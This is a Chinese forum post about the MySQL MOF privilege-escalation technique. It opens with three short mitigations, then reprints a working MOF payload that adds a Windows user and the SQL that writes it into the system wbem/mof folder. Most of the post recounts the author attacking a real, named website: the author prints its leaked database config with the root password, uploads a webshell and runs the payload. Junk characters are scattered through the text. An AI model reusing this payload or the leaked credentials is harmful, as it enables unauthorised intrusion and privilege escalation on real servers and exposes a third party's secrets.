Mysql mof扩展漏洞防范方法
6 z5 R) h; y1 Y+ Q" q" b9 P3 R q+ t8 l3 i _% ^+ ~. Y
网上公开的一些利用代码:& }) C& l, N9 i+ n4 g
. J# w4 o, C8 T+ z4 J( G% a, S#pragma namespace(“\\\\.\\root\\subscription”)% V$ h* L8 m" n7 q/ r( o" U& Y, Y) D
' Z' C6 ~; B7 S1 d7 l2 Linstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };% s) S& s1 g* F$ K8 b8 [$ R/ h
1 o }& a" C- F% t" \1 h 5 ~; B+ C. [0 G
- ^* z, M! E( m: ~# O
; D H& W6 o% F9 Z8 [9 h& |! R1 d. m& `" f( T# K$ @ S" o- `* z
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;& T' m" U) _* y/ [6 I1 ~
从上面代码来看得出解决办法: t- M2 ^, s/ `+ N/ \5 V
+ I. z$ s `: q$ I; J; U
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数- B' ?- }3 o4 I3 D: `% ~$ [+ K$ _
2 a# j7 l$ k6 {
2、禁止使用”WScript.Shel”组件4 J- ]; l2 T5 b4 j& m" g
5 l6 u# L( ?9 p9 \! l3 {
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER( @8 Z8 L1 J' s" ]6 A. j# c4 i
! a. n- E2 B, S: |当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下0 W0 |5 J% _( R e5 s% d
- `$ i& b) P! r9 l事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
: y5 o( Y# f ?/ u S# |, h, |8 i- c- O! y. @) ~
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容4 V }, ]# I+ O& d8 t% k3 {1 U/ W! v- c
1 g6 b4 F. s( I; V9 \- u看懂了后就开始练手吧1 m. L( `; z! \* }& L* w
& c$ Y) L, Z: w) I
http://www.webbmw.com/config/config_ucenter.php 一句话 a9 u. o" d. T. H( f5 x
/ m" q+ a/ {: L1 R
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
- x1 s( `, N& W! `7 Q0 q
9 L% }& K! u/ j于是直接用菜刀开搞
2 ]. P$ h5 ?8 m- n8 i
1 A! V7 f5 H% O7 k0 d. a上马先9 [$ x$ p4 L( R1 t; f. q; y
; I- y8 ? e: Q0 w) w既然有了那些账号 之类的 于是我们就执行吧…….
! s6 u! z2 T# k2 ^5 N$ k* W6 _9 [4 I9 t3 I* @
小小的说下
) D/ f8 _9 t# N# O% z0 Z0 K3 w6 |) H- b1 r
在这里第1次执行未成功 原因未知
5 c" b7 G5 Y$ h+ D* i' _' I B; \$ l- s
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
- z7 v# u. |1 N
/ v4 f( _8 T0 ]5 f( Q6 L#pragma namespace(“\\\\.\\root\\subscription”)
+ D6 E" N% ~, S4 n% d! S' u# ~2 ? F3 b" u
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
+ B" |8 s% ?4 Z2 [. ^
* w6 g1 L e W& F7 {我是将文件放到C:\WINDOWS\temp\1.mof. q6 A% y# G7 K
. Z# W2 u$ _3 O' c9 | E$ l
所以我们就改下执行的代码$ K! I% j8 S- h/ {6 v. g- b( j
' n3 T' j7 ^, F4 y% T% \6 ]& |select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;+ m# D" e0 B. Z+ _/ B
9 o% ]6 n- A( x- e' H" I6 X: P6 Q
" i8 @6 D* |# {6 c( G. C5 I) I# m: D0 |* H: @- p# w# L
但是 你会发现账号还是没有躺在那里。。
+ q% x- L4 S( A, h7 r u: K- m( t; X& o+ H; A0 N8 Y
于是我就感觉蛋疼2 x; U! E) o$ Q7 ]( y6 V5 C/ n% W4 z) V' Q
# H8 V4 |* J' }( m1 n& |3 A. D2 I; _
就去一个一个去执行 但是执行到第2个 mysql时就成功了………) V. f, z7 Q. w# b. B
! v! C7 ]) o; ?; h* k- r: @& t; `
9 r5 J2 x. {- h& o但是其他库均不成功…' a9 M( Q1 Z2 v$ b0 \/ q/ K5 V5 G
( V1 V5 u: q' J1 w. ?我就很费解呀 到底为什么不成功求大牛解答…0 I; j7 T/ S# g# V; { K, a
2 \, @ J# b7 O% S# }
! y# E& ^- p$ R8 j# n- C; I4 \9 q" u& [0 W4 S8 u3 c" Q; R
|